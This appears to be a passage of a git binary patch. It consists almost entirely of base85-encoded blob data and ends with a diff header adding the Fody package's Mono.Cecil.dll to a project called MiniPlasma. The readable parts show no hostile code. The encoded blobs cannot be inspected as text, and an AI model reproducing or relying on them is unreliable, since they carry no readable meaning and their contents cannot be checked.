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 UUP`ixaOXm#KVQ_(u7&#lFD@b}fdBvi literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.dll b/MiniPlasma/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.dll new file mode 100644 index 0000000000000000000000000000000000000000..cceefdac299977d18f1c1bfe75ddb8c78cea2cdf GIT binary patch literal 363008 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 